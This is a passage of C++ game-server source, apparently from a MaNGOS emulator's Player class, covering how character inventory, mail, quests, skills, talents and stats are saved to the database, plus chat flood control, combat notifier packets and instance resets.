SqlStatement stmt = CharacterDatabase.CreateStatement(updateInventory, "UPDATE character_inventory SET guid = ?, bag = ?, slot = ?, item_template = ? WHERE item = ?");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(bag_guid);
stmt.addUInt8(item->GetSlot());
stmt.addUInt32(item->GetEntry());
stmt.addUInt32(item->GetGUIDLow());
stmt.Execute();
}
break;
case ITEM_REMOVED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteInventory, "DELETE FROM character_inventory WHERE item = ?");
stmt.PExecute(item->GetGUIDLow());
}
break;
case ITEM_UNCHANGED:
break;
}
item->SaveToDB(); // item have unchanged inventory record and can be save standalone
}
m_itemUpdateQueue.clear();
}
void Player::_SaveMail()
{
static SqlStatementID updateMail ;
static SqlStatementID deleteMailItems ;
static SqlStatementID deleteItem ;
static SqlStatementID deleteMain ;
static SqlStatementID deleteItems ;
for (PlayerMails::iterator itr = m_mail.begin(); itr != m_mail.end(); ++itr)
{
Mail *m = (*itr);
if (m->state == MAIL_STATE_CHANGED)
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updateMail, "UPDATE mail SET has_items = ?, expire_time = ?, deliver_time = ?, money = ?, cod = ?, checked = ? WHERE id = ?");
stmt.addUInt32(m->HasItems() ? 1 : 0);
stmt.addUInt64(uint64(m->expire_time));
stmt.addUInt64(uint64(m->deliver_time));
stmt.addUInt32(m->money);
stmt.addUInt32(m->COD);
stmt.addUInt32(m->checked);
stmt.addUInt32(m->messageID);
stmt.Execute();
if (m->removedItems.size())
{
stmt = CharacterDatabase.CreateStatement(deleteMailItems, "DELETE FROM mail_items WHERE item_guid = ?");
for(std::vector<uint32>::const_iterator itr2 = m->removedItems.begin(); itr2 != m->removedItems.end(); ++itr2)
stmt.PExecute(*itr2);
m->removedItems.clear();
}
m->state = MAIL_STATE_UNCHANGED;
}
else if (m->state == MAIL_STATE_DELETED)
{
if (m->HasItems())
{
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteItem, "DELETE FROM item_instance WHERE guid = ?");
for(MailItemInfoVec::const_iterator itr2 = m->items.begin(); itr2 != m->items.end(); ++itr2)
stmt.PExecute(itr2->item_guid);
}
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteMain, "DELETE FROM mail WHERE id = ?");
stmt.PExecute(m->messageID);
stmt = CharacterDatabase.CreateStatement(deleteItems, "DELETE FROM mail_items WHERE mail_id = ?");
stmt.PExecute(m->messageID);
}
}
//deallocate deleted mails...
for (PlayerMails::iterator itr = m_mail.begin(); itr != m_mail.end(); )
{
if ((*itr)->state == MAIL_STATE_DELETED)
{
Mail* m = *itr;
m_mail.erase(itr);
delete m;
itr = m_mail.begin();
}
else
++itr;
}
m_mailsUpdated = false;
}
void Player::_SaveQuestStatus()
{
static SqlStatementID insertQuestStatus ;
static SqlStatementID updateQuestStatus ;
// we don't need transactions here.
for( QuestStatusMap::iterator i = mQuestStatus.begin( ); i != mQuestStatus.end( ); ++i )
{
switch (i->second.uState)
{
case QUEST_NEW :
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insertQuestStatus, "INSERT INTO character_queststatus (guid,quest,status,rewarded,explored,timer,mobcount1,mobcount2,mobcount3,mobcount4,itemcount1,itemcount2,itemcount3,itemcount4,itemcount5,itemcount6) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(i->first);
stmt.addUInt8(i->second.m_status);
stmt.addUInt8(i->second.m_rewarded);
stmt.addUInt8(i->second.m_explored);
stmt.addUInt64(uint64(i->second.m_timer / IN_MILLISECONDS+ sWorld.GetGameTime()));
for (int k = 0; k < QUEST_OBJECTIVES_COUNT; ++k)
stmt.addUInt32(i->second.m_creatureOrGOcount[k]);
for (int k = 0; k < QUEST_ITEM_OBJECTIVES_COUNT; ++k)
stmt.addUInt32(i->second.m_itemcount[k]);
stmt.Execute();
}
break;
case QUEST_CHANGED :
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updateQuestStatus, "UPDATE character_queststatus SET status = ?,rewarded = ?,explored = ?,timer = ?,"
"mobcount1 = ?,mobcount2 = ?,mobcount3 = ?,mobcount4 = ?,itemcount1 = ?,itemcount2 = ?,itemcount3 = ?,itemcount4 = ?,itemcount5 = ?,itemcount6 = ? WHERE guid = ? AND quest = ?");
stmt.addUInt8(i->second.m_status);
stmt.addUInt8(i->second.m_rewarded);
stmt.addUInt8(i->second.m_explored);
stmt.addUInt64(uint64(i->second.m_timer / IN_MILLISECONDS + sWorld.GetGameTime()));
for (int k = 0; k < QUEST_OBJECTIVES_COUNT; ++k)
stmt.addUInt32(i->second.m_creatureOrGOcount[k]);
for (int k = 0; k < QUEST_ITEM_OBJECTIVES_COUNT; ++k)
stmt.addUInt32(i->second.m_itemcount[k]);
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(i->first);
stmt.Execute();
}
break;
case QUEST_UNCHANGED:
break;
};
i->second.uState = QUEST_UNCHANGED;
}
}
void Player::_SaveDailyQuestStatus()
{
if (!m_DailyQuestChanged)
return;
// we don't need transactions here.
static SqlStatementID delQuestStatus ;
static SqlStatementID insQuestStatus ;
SqlStatement stmtDel = CharacterDatabase.CreateStatement(delQuestStatus, "DELETE FROM character_queststatus_daily WHERE guid = ?");
SqlStatement stmtIns = CharacterDatabase.CreateStatement(insQuestStatus, "INSERT INTO character_queststatus_daily (guid,quest) VALUES (?, ?)");
stmtDel.PExecute(GetGUIDLow());
for(uint32 quest_daily_idx = 0; quest_daily_idx < PLAYER_MAX_DAILY_QUESTS; ++quest_daily_idx)
if (GetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx))
stmtIns.PExecute(GetGUIDLow(), GetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx));
m_DailyQuestChanged = false;
}
void Player::_SaveWeeklyQuestStatus()
{
if (!m_WeeklyQuestChanged || m_weeklyquests.empty())
return;
// we don't need transactions here.
static SqlStatementID delQuestStatus ;
static SqlStatementID insQuestStatus ;
SqlStatement stmtDel = CharacterDatabase.CreateStatement(delQuestStatus, "DELETE FROM character_queststatus_weekly WHERE guid = ?");
SqlStatement stmtIns = CharacterDatabase.CreateStatement(insQuestStatus, "INSERT INTO character_queststatus_weekly (guid,quest) VALUES (?, ?)");
stmtDel.PExecute(GetGUIDLow());
for (QuestSet::const_iterator iter = m_weeklyquests.begin(); iter != m_weeklyquests.end(); ++iter)
{
uint32 quest_id = *iter;
stmtIns.PExecute(GetGUIDLow(), quest_id);
}
m_WeeklyQuestChanged = false;
}
void Player::_SaveMonthlyQuestStatus()
{
if (!m_MonthlyQuestChanged || m_monthlyquests.empty())
return;
// we don't need transactions here.
static SqlStatementID deleteQuest ;
static SqlStatementID insertQuest ;
SqlStatement stmtDel = CharacterDatabase.CreateStatement(deleteQuest, "DELETE FROM character_queststatus_monthly WHERE guid = ?");
SqlStatement stmtIns = CharacterDatabase.CreateStatement(insertQuest, "INSERT INTO character_queststatus_monthly (guid, quest) VALUES (?, ?)");
stmtDel.PExecute(GetGUIDLow());
for (QuestSet::const_iterator iter = m_monthlyquests.begin(); iter != m_monthlyquests.end(); ++iter)
{
uint32 quest_id = *iter;
stmtIns.PExecute(GetGUIDLow(), quest_id);
}
m_MonthlyQuestChanged = false;
}
void Player::_SaveSkills()
{
static SqlStatementID delSkills ;
static SqlStatementID insSkills ;
static SqlStatementID updSkills ;
// we don't need transactions here.
for( SkillStatusMap::iterator itr = mSkillStatus.begin(); itr != mSkillStatus.end(); )
{
if (itr->second.uState == SKILL_UNCHANGED)
{
++itr;
continue;
}
if (itr->second.uState == SKILL_DELETED)
{
SqlStatement stmt = CharacterDatabase.CreateStatement(delSkills, "DELETE FROM character_skills WHERE guid = ? AND skill = ?");
stmt.PExecute(GetGUIDLow(), itr->first );
mSkillStatus.erase(itr++);
continue;
}
uint32 valueData = GetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos));
uint16 value = SKILL_VALUE(valueData);
uint16 max = SKILL_MAX(valueData);
switch (itr->second.uState)
{
case SKILL_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insSkills, "INSERT INTO character_skills (guid, skill, value, max) VALUES (?, ?, ?, ?)");
stmt.PExecute(GetGUIDLow(), itr->first, value, max);
}
break;
case SKILL_CHANGED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updSkills, "UPDATE character_skills SET value = ?, max = ? WHERE guid = ? AND skill = ?");
stmt.PExecute(value, max, GetGUIDLow(), itr->first );
}
break;
case SKILL_UNCHANGED:
case SKILL_DELETED:
MANGOS_ASSERT(false);
break;
};
itr->second.uState = SKILL_UNCHANGED;
++itr;
}
}
void Player::_SaveSpells()
{
static SqlStatementID delSpells ;
static SqlStatementID insSpells ;
SqlStatement stmtDel = CharacterDatabase.CreateStatement(delSpells, "DELETE FROM character_spell WHERE guid = ? and spell = ?");
SqlStatement stmtIns = CharacterDatabase.CreateStatement(insSpells, "INSERT INTO character_spell (guid,spell,active,disabled) VALUES (?, ?, ?, ?)");
for (PlayerSpellMap::iterator itr = m_spells.begin(), next = m_spells.begin(); itr != m_spells.end();)
{
uint32 talentCosts = GetTalentSpellCost(itr->first);
if (!talentCosts)
{
if (itr->second.state == PLAYERSPELL_REMOVED || itr->second.state == PLAYERSPELL_CHANGED)
stmtDel.PExecute(GetGUIDLow(), itr->first);
// add only changed/new not dependent spells
if (!itr->second.dependent && (itr->second.state == PLAYERSPELL_NEW || itr->second.state == PLAYERSPELL_CHANGED))
stmtIns.PExecute(GetGUIDLow(), itr->first, uint8(itr->second.active ? 1 : 0), uint8(itr->second.disabled ? 1 : 0));
}
if (itr->second.state == PLAYERSPELL_REMOVED)
m_spells.erase(itr++);
else
{
itr->second.state = PLAYERSPELL_UNCHANGED;
++itr;
}
}
}
void Player::_SaveTalents()
{
static SqlStatementID delTalents ;
static SqlStatementID insTalents ;
SqlStatement stmtDel = CharacterDatabase.CreateStatement(delTalents, "DELETE FROM character_talent WHERE guid = ? and talent_id = ? and spec = ?");
SqlStatement stmtIns = CharacterDatabase.CreateStatement(insTalents, "INSERT INTO character_talent (guid, talent_id, current_rank , spec) VALUES (?, ?, ?, ?)");
for (uint32 i = 0; i < MAX_TALENT_SPEC_COUNT; ++i)
{
for (PlayerTalentMap::iterator itr = m_talents[i].begin(); itr != m_talents[i].end();)
{
if (itr->second.state == PLAYERSPELL_REMOVED || itr->second.state == PLAYERSPELL_CHANGED)
stmtDel.PExecute(GetGUIDLow(),itr->first, i);
// add only changed/new talents
if (itr->second.state == PLAYERSPELL_NEW || itr->second.state == PLAYERSPELL_CHANGED)
stmtIns.PExecute(GetGUIDLow(), itr->first, itr->second.currentRank, i);
if (itr->second.state == PLAYERSPELL_REMOVED)
m_talents[i].erase(itr++);
else
{
itr->second.state = PLAYERSPELL_UNCHANGED;
++itr;
}
}
}
}
// save player stats -- only for external usage
// real stats will be recalculated on player login
void Player::_SaveStats()
{
// check if stat saving is enabled and if char level is high enough
if(!sWorld.getConfig(CONFIG_UINT32_MIN_LEVEL_STAT_SAVE) || getLevel() < sWorld.getConfig(CONFIG_UINT32_MIN_LEVEL_STAT_SAVE))
return;
static SqlStatementID delStats ;
static SqlStatementID insertStats ;
SqlStatement stmt = CharacterDatabase.CreateStatement(delStats, "DELETE FROM character_stats WHERE guid = ?");
stmt.PExecute(GetGUIDLow());
stmt = CharacterDatabase.CreateStatement(insertStats, "INSERT INTO character_stats (guid, maxhealth, maxpower1, maxpower2, maxpower3, maxpower4, maxpower5, maxpower6, maxpower7, "
"strength, agility, stamina, intellect, spirit, armor, resHoly, resFire, resNature, resFrost, resShadow, resArcane, "
"blockPct, dodgePct, parryPct, critPct, rangedCritPct, spellCritPct, attackPower, rangedAttackPower, spellPower, "
"apmelee, ranged, blockrating, defrating, dodgerating, parryrating, resilience, manaregen, "
"melee_hitrating, melee_critrating, melee_hasterating, melee_mainmindmg, melee_mainmaxdmg, "
"melee_offmindmg, melee_offmaxdmg, melee_maintime, melee_offtime, ranged_critrating, ranged_hasterating, "
"ranged_hitrating, ranged_mindmg, ranged_maxdmg, ranged_attacktime, "
"spell_hitrating, spell_critrating, spell_hasterating, spell_bonusdmg, spell_bonusheal, spell_critproc, account, name, race, class, gender, level, map, money, totaltime, online, arenaPoints, totalHonorPoints, totalKills, equipmentCache, specCount, activeSpec, data) "
"VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(GetMaxHealth());
for(int i = 0; i < MAX_POWERS; ++i)
stmt.addUInt32(GetMaxPower(Powers(i)));
for(int i = 0; i < MAX_STATS; ++i)
stmt.addFloat(GetStat(Stats(i)));
// armor + school resistances
for(int i = 0; i < MAX_SPELL_SCHOOL; ++i)
stmt.addUInt32(GetResistance(SpellSchools(i)));
stmt.addFloat(GetFloatValue(PLAYER_BLOCK_PERCENTAGE));
stmt.addFloat(GetFloatValue(PLAYER_DODGE_PERCENTAGE));
stmt.addFloat(GetFloatValue(PLAYER_PARRY_PERCENTAGE));
stmt.addFloat(GetFloatValue(PLAYER_CRIT_PERCENTAGE));
stmt.addFloat(GetFloatValue(PLAYER_RANGED_CRIT_PERCENTAGE));
stmt.addFloat(GetFloatValue(PLAYER_SPELL_CRIT_PERCENTAGE1));
stmt.addUInt32(GetUInt32Value(UNIT_FIELD_ATTACK_POWER));
stmt.addUInt32(GetUInt32Value(UNIT_FIELD_RANGED_ATTACK_POWER));
stmt.addUInt32(GetBaseSpellPowerBonus());
stmt.addUInt32(GetUInt32Value(MANGOSR2_AP_MELEE_1)+GetUInt32Value(MANGOSR2_AP_MELEE_2));
stmt.addUInt32(GetUInt32Value(MANGOSR2_AP_RANGED_1)+GetUInt32Value(MANGOSR2_AP_RANGED_2));
stmt.addUInt32(GetUInt32Value(MANGOSR2_BLOCKRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_DEFRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_DODGERATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_PARRYRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_RESILIENCE));
stmt.addFloat(GetFloatValue(MANGOSR2_MANAREGEN));
stmt.addUInt32(GetUInt32Value(MANGOSR2_MELEE_HITRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_MELEE_CRITRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_MELEE_HASTERATING));
stmt.addFloat(GetFloatValue(MANGOSR2_MELEE_MAINMINDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_MELEE_MAINMAXDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_MELEE_OFFMINDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_MELEE_OFFMAXDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_MELLE_MAINTIME));
stmt.addFloat(GetFloatValue(MANGOSR2_MELLE_OFFTIME));
stmt.addUInt32(GetUInt32Value(MANGOSR2_RANGED_CRITRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_RANGED_HASTERATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_RANGED_HITRATING));
stmt.addFloat(GetFloatValue(MANGOSR2_RANGED_MINDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_RANGED_MAXDMG));
stmt.addFloat(GetFloatValue(MANGOSR2_RANGED_ATTACKTIME));
stmt.addUInt32(GetUInt32Value(MANGOSR2_SPELL_HITRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_SPELL_CRITRATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_SPELL_HASTERATING));
stmt.addUInt32(GetUInt32Value(MANGOSR2_SPELL_BONUSDMG));
stmt.addUInt32(GetUInt32Value(MANGOSR2_SPELL_BONUSHEAL));
stmt.addFloat(GetFloatValue(MANGOSR2_SPELL_CRITPROC));
stmt.addUInt32(GetSession()->GetAccountId());
stmt.addString(m_name); // duh
stmt.addUInt32((uint32)getRace());
stmt.addUInt32((uint32)getClass());
stmt.addUInt32((uint32)getGender());
stmt.addUInt32(getLevel());
stmt.addUInt32(GetMapId());
stmt.addUInt32(GetMoney());
stmt.addUInt32(m_Played_time[PLAYED_TIME_TOTAL]);
stmt.addUInt32(IsInWorld() ? 1 : 0);
stmt.addUInt32(GetArenaPoints());
stmt.addUInt32(GetHonorPoints());
stmt.addUInt32(GetUInt32Value(PLAYER_FIELD_LIFETIME_HONORBALE_KILLS));
std::ostringstream ss; // duh
for(uint32 i = 0; i < EQUIPMENT_SLOT_END * 2; ++i ) // EquipmentCache string
{
ss << GetUInt32Value(PLAYER_VISIBLE_ITEM_1_ENTRYID + i) << " ";
}
stmt.addString(ss); // equipment cache string
stmt.addUInt32(uint32(m_specsCount));
stmt.addUInt32(uint32(m_activeSpec));
std::ostringstream ps; // duh
for(uint16 i = 0; i < m_valuesCount; ++i ) //data string
{
ps << GetUInt32Value(i) << " ";
}
stmt.addString(ps); //data string
stmt.Execute();
}
void Player::outDebugStatsValues() const
{
// optimize disabled debug output
if(!sLog.HasLogLevelOrHigher(LOG_LVL_DEBUG) || sLog.HasLogFilter(LOG_FILTER_PLAYER_STATS))
return;
sLog.outDebug("HP is: \t\t\t%u\t\tMP is: \t\t\t%u",GetMaxHealth(), GetMaxPower(POWER_MANA));
sLog.outDebug("AGILITY is: \t\t%f\t\tSTRENGTH is: \t\t%f",GetStat(STAT_AGILITY), GetStat(STAT_STRENGTH));
sLog.outDebug("INTELLECT is: \t\t%f\t\tSPIRIT is: \t\t%f",GetStat(STAT_INTELLECT), GetStat(STAT_SPIRIT));
sLog.outDebug("STAMINA is: \t\t%f",GetStat(STAT_STAMINA));
sLog.outDebug("Armor is: \t\t%u\t\tBlock is: \t\t%f",GetArmor(), GetFloatValue(PLAYER_BLOCK_PERCENTAGE));
sLog.outDebug("HolyRes is: \t\t%u\t\tFireRes is: \t\t%u",GetResistance(SPELL_SCHOOL_HOLY), GetResistance(SPELL_SCHOOL_FIRE));
sLog.outDebug("NatureRes is: \t\t%u\t\tFrostRes is: \t\t%u",GetResistance(SPELL_SCHOOL_NATURE), GetResistance(SPELL_SCHOOL_FROST));
sLog.outDebug("ShadowRes is: \t\t%u\t\tArcaneRes is: \t\t%u",GetResistance(SPELL_SCHOOL_SHADOW), GetResistance(SPELL_SCHOOL_ARCANE));
sLog.outDebug("MIN_DAMAGE is: \t\t%f\tMAX_DAMAGE is: \t\t%f",GetFloatValue(UNIT_FIELD_MINDAMAGE), GetFloatValue(UNIT_FIELD_MAXDAMAGE));
sLog.outDebug("MIN_OFFHAND_DAMAGE is: \t%f\tMAX_OFFHAND_DAMAGE is: \t%f",GetFloatValue(UNIT_FIELD_MINOFFHANDDAMAGE), GetFloatValue(UNIT_FIELD_MAXOFFHANDDAMAGE));
sLog.outDebug("MIN_RANGED_DAMAGE is: \t%f\tMAX_RANGED_DAMAGE is: \t%f",GetFloatValue(UNIT_FIELD_MINRANGEDDAMAGE), GetFloatValue(UNIT_FIELD_MAXRANGEDDAMAGE));
sLog.outDebug("ATTACK_TIME is: \t%u\t\tRANGE_ATTACK_TIME is: \t%u",GetAttackTime(BASE_ATTACK), GetAttackTime(RANGED_ATTACK));
}
/*********************************************************/
/*** FLOOD FILTER SYSTEM ***/
/*********************************************************/
void Player::UpdateSpeakTime()
{
// ignore chat spam protection for GMs in any mode
if (GetSession()->GetSecurity() > SEC_PLAYER)
return;
time_t current = time (NULL);
if (m_speakTime > current)
{
uint32 max_count = sWorld.getConfig(CONFIG_UINT32_CHATFLOOD_MESSAGE_COUNT);
if(!max_count)
return;
++m_speakCount;
if (m_speakCount >= max_count)
{
// prevent overwrite mute time, if message send just before mutes set, for example.
time_t new_mute = current + sWorld.getConfig(CONFIG_UINT32_CHATFLOOD_MUTE_TIME);
if (GetSession()->m_muteTime < new_mute)
GetSession()->m_muteTime = new_mute;
m_speakCount = 0;
}
}
else
m_speakCount = 0;
m_speakTime = current + sWorld.getConfig(CONFIG_UINT32_CHATFLOOD_MESSAGE_DELAY);
}
bool Player::CanSpeak() const
{
return GetSession()->m_muteTime <= time (NULL);
}
/*********************************************************/
/*** LOW LEVEL FUNCTIONS:Notifiers ***/
/*********************************************************/
void Player::SendAttackSwingNotInRange()
{
WorldPacket data(SMSG_ATTACKSWING_NOTINRANGE, 0);
GetSession()->SendPacket( &data );
}
void Player::SavePositionInDB(ObjectGuid guid, uint32 mapid, float x, float y, float z, float o, uint32 zone)
{
std::ostringstream ss;
ss << "UPDATE characters SET position_x='"<<x<<"',position_y='"<<y
<< "',position_z='"<<z<<"',orientation='"<<o<<"',map='"<<mapid
<< "',zone='"<<zone<<"',trans_x='0',trans_y='0',trans_z='0',"
<< "transguid='0',taxi_path='' WHERE guid='"<< guid.GetCounter() <<"'";
DEBUG_LOG("%s", ss.str().c_str());
CharacterDatabase.Execute(ss.str().c_str());
}
void Player::SetUInt32ValueInArray(Tokens& tokens,uint16 index, uint32 value)
{
char buf[11];
snprintf(buf,11,"%u",value);
if (index >= tokens.size())
return;
tokens[index] = buf;
}
void Player::Customize(ObjectGuid guid, uint8 gender, uint8 skin, uint8 face, uint8 hairStyle, uint8 hairColor, uint8 facialHair)
{
// 0
QueryResult* result = CharacterDatabase.PQuery("SELECT playerBytes2 FROM characters WHERE guid = '%u'", guid.GetCounter());
if (!result)
return;
Field* fields = result->Fetch();
uint32 player_bytes2 = fields[0].GetUInt32();
player_bytes2 &= ~0xFF;
player_bytes2 |= facialHair;
CharacterDatabase.PExecute("UPDATE characters SET gender = '%u', playerBytes = '%u', playerBytes2 = '%u' WHERE guid = '%u'", gender, skin | (face << 8) | (hairStyle << 16) | (hairColor << 24), player_bytes2, guid.GetCounter());
delete result;
}
void Player::SendAttackSwingDeadTarget()
{
WorldPacket data(SMSG_ATTACKSWING_DEADTARGET, 0);
GetSession()->SendPacket( &data );
}
void Player::SendAttackSwingCantAttack()
{
WorldPacket data(SMSG_ATTACKSWING_CANT_ATTACK, 0);
GetSession()->SendPacket( &data );
}
void Player::SendAttackSwingCancelAttack()
{
WorldPacket data(SMSG_CANCEL_COMBAT, 0);
GetSession()->SendPacket( &data );
}
void Player::SendAttackSwingBadFacingAttack()
{
WorldPacket data(SMSG_ATTACKSWING_BADFACING, 0);
GetSession()->SendPacket( &data );
}
void Player::SendAutoRepeatCancel(Unit *target)
{
WorldPacket data(SMSG_CANCEL_AUTO_REPEAT, target->GetPackGUID().size());
data << target->GetPackGUID();
GetSession()->SendPacket( &data );
}
void Player::SendExplorationExperience(uint32 Area, uint32 Experience)
{
WorldPacket data( SMSG_EXPLORATION_EXPERIENCE, 8 );
data << uint32(Area);
data << uint32(Experience);
GetSession()->SendPacket(&data);
}
void Player::SendDungeonDifficulty(bool IsInGroup)
{
uint8 val = 0x00000001;
WorldPacket data(MSG_SET_DUNGEON_DIFFICULTY, 12);
data << uint32(GetDungeonDifficulty());
data << uint32(val);
data << uint32(IsInGroup);
GetSession()->SendPacket(&data);
}
void Player::SendRaidDifficulty(bool IsInGroup)
{
uint8 val = 0x00000001;
WorldPacket data(MSG_SET_RAID_DIFFICULTY, 12);
data << uint32(GetRaidDifficulty());
data << uint32(val);
data << uint32(IsInGroup);
GetSession()->SendPacket(&data);
}
void Player::SendResetFailedNotify(uint32 mapid)
{
WorldPacket data(SMSG_RESET_FAILED_NOTIFY, 4);
data << uint32(mapid);
GetSession()->SendPacket(&data);
}
/// Reset all solo instances and optionally send a message on success for each
void Player::ResetInstances(InstanceResetMethod method, bool isRaid)
{
// method can be INSTANCE_RESET_ALL, INSTANCE_RESET_CHANGE_DIFFICULTY, INSTANCE_RESET_GROUP_JOIN
// we assume that when the difficulty changes, all instances that can be reset will be
Difficulty diff = GetDifficulty(isRaid);
for (BoundInstancesMap::iterator itr = m_boundInstances[diff].begin(); itr != m_boundInstances[diff].end();)
{
DungeonPersistentState *state = itr->second.state;
const MapEntry *entry = sMapStore.LookupEntry(itr->first);
if (!entry || entry->IsRaid() != isRaid || !state->CanReset())
{
++itr;
continue;
}
if (method == INSTANCE_RESET_ALL)
{
// the "reset all instances" method can only reset normal maps
if (entry->map_type == MAP_RAID || diff == DUNGEON_DIFFICULTY_HEROIC)
{
++itr;
continue;
}
}
// if the map is loaded, reset it
if (Map *map = sMapMgr.FindMap(state->GetMapId(), state->GetInstanceId()))
if (map->IsDungeon())
((DungeonMap*)map)->Reset(method);
// since this is a solo instance there should not be any players inside
if (method == INSTANCE_RESET_ALL || method == INSTANCE_RESET_CHANGE_DIFFICULTY)
SendResetInstanceSuccess(state->GetMapId());
state->DeleteFromDB();
m_boundInstances[diff].erase(itr++);
// the following should remove the instance save from the manager and delete it as well
state->RemovePlayer(this);
}
}
void Player::SendResetInstanceSuccess(uint32 MapId)
{
WorldPacket data(SMSG_INSTANCE_RESET, 4);
data << uint32(MapId);
GetSession()->SendPacket(&data);
}
void Player::SendResetInstanceFailed(uint32 reason, uint32 MapId)
{
// TODO: find what other fail reasons there are besides players in the instance
WorldPacket data(SMSG_INSTANCE_RESET_FAILED, 4);
data << uint32(reason);
data << uint32(MapId);
GetSession()->SendPacket(&data);
}
/*********************************************************/
/*** Update timers ***/
/*********************************************************/
///checks the 15 afk reports per 5 minutes limit
void Player::UpdateAfkReport(time_t currTime)
{
if (m_bgData.bgAfkReportedTimer <= currTime)
{
m_bgData.bgAfkReportedCount = 0;
m_bgData.bgAfkReportedTimer = currTime+5*MINUTE;
}
}
void Player::UpdateContestedPvP(uint32 diff)
{
if(!m_contestedPvPTimer||isInCombat())
return;
if (m_contestedPvPTimer <= diff)
{
ResetContestedPvP();
}
else
m_contestedPvPTimer -= diff;
}
void Player::UpdatePvPFlag(time_t currTime)
{
if(!IsPvP())
return;
if (pvpInfo.endTimer == 0 || currTime < (pvpInfo.endTimer + 300))
return;
UpdatePvP(false);
}
void Player::UpdateDuelFlag(time_t currTime)
{
if(!duel || duel->startTimer == 0 ||currTime < duel->startTimer + 3)
return;
SetUInt32Value(PLAYER_DUEL_TEAM, 1);
duel->opponent->SetUInt32Value(PLAYER_DUEL_TEAM, 2);
duel->startTimer = 0;
duel->startTime = currTime;
duel->opponent->duel->startTimer = 0;
duel->opponent->duel->startTime = currTime;
}
void Player::RemovePet(PetSaveMode mode)
{
GroupPetList groupPets = GetPets();
if (!groupPets.empty())
{
for (GroupPetList::const_iterator itr = groupPets.begin(); itr != groupPets.end(); ++itr)
if (Pet* _pet = GetMap()->GetPet(*itr))
_pet->Unsummon(mode, this);
}
}
void Player::BuildPlayerChat(WorldPacket *data, uint8 msgtype, const std::string& text, uint32 language) const
{
*data << uint8(msgtype);
*data << uint32(language);
*data << ObjectGuid(GetObjectGuid());
*data << uint32(language); //language 2.1.0 ?
*data << ObjectGuid(GetObjectGuid());
*data << uint32(text.length()+1);
*data << text;
*data << uint8(chatTag());
}
void Player::Say(const std::string& text, const uint32 language)
{
WorldPacket data(SMSG_MESSAGECHAT, 200);
BuildPlayerChat(&data, CHAT_MSG_SAY, text, language);
SendMessageToSetInRange(&data,sWorld.getConfig(CONFIG_FLOAT_LISTEN_RANGE_SAY),true);
}
void Player::Yell(const std::string& text, const uint32 language)
{
WorldPacket data(SMSG_MESSAGECHAT, 200);
BuildPlayerChat(&data, CHAT_MSG_YELL, text, language);
SendMessageToSetInRange(&data,sWorld.getConfig(CONFIG_FLOAT_LISTEN_RANGE_YELL),true);
}
void Player::TextEmote(const std::string& text)
{
WorldPacket data(SMSG_MESSAGECHAT, 200);
BuildPlayerChat(&data, CHAT_MSG_EMOTE, text, LANG_UNIVERSAL);
SendMessageToSetInRange(&data,sWorld.getConfig(CONFIG_FLOAT_LISTEN_RANGE_TEXTEMOTE),true, !sWorld.getConfig(CONFIG_BOOL_ALLOW_TWO_SIDE_INTERACTION_CHAT) );
}
void Player::Whisper(const std::string& text, uint32 language, ObjectGuid receiver)
{
if (language != LANG_ADDON) // if not addon data
language = LANG_UNIVERSAL; // whispers should always be readable
Player *rPlayer = sObjectMgr.GetPlayer(receiver);
WorldPacket data(SMSG_MESSAGECHAT, 200);
BuildPlayerChat(&data, CHAT_MSG_WHISPER, text, language);
rPlayer->GetSession()->SendPacket(&data);
// not send confirmation for addon messages
if (language != LANG_ADDON)
{
data.Initialize(SMSG_MESSAGECHAT, 200);
rPlayer->BuildPlayerChat(&data, CHAT_MSG_WHISPER_INFORM, text, language);
GetSession()->SendPacket(&data);
}
if (!isAcceptWhispers())
{
SetAcceptWhispers(true);
ChatHandler(this).SendSysMessage(LANG_COMMAND_WHISPERON);
}
// announce afk or dnd message
if (rPlayer->isAFK())
ChatHandler(this).PSendSysMessage(LANG_PLAYER_AFK, rPlayer->GetName(), rPlayer->autoReplyMsg.c_str());
else if (rPlayer->isDND())
ChatHandler(this).PSendSysMessage(LANG_PLAYER_DND, rPlayer->GetName(), rPlayer->autoReplyMsg.c_str());
}
void Player::PetSpellInitialize()
{
Pet* pet = GetPet();
if(!pet)
return;
DEBUG_LOG("Pet Spells Groups");
CharmInfo *charmInfo = pet->GetCharmInfo();
if (!charmInfo)
return;
WorldPacket data(SMSG_PET_SPELLS, 8+2+4+4+4*MAX_UNIT_ACTION_BAR_INDEX+1+1);
data << pet->GetObjectGuid();
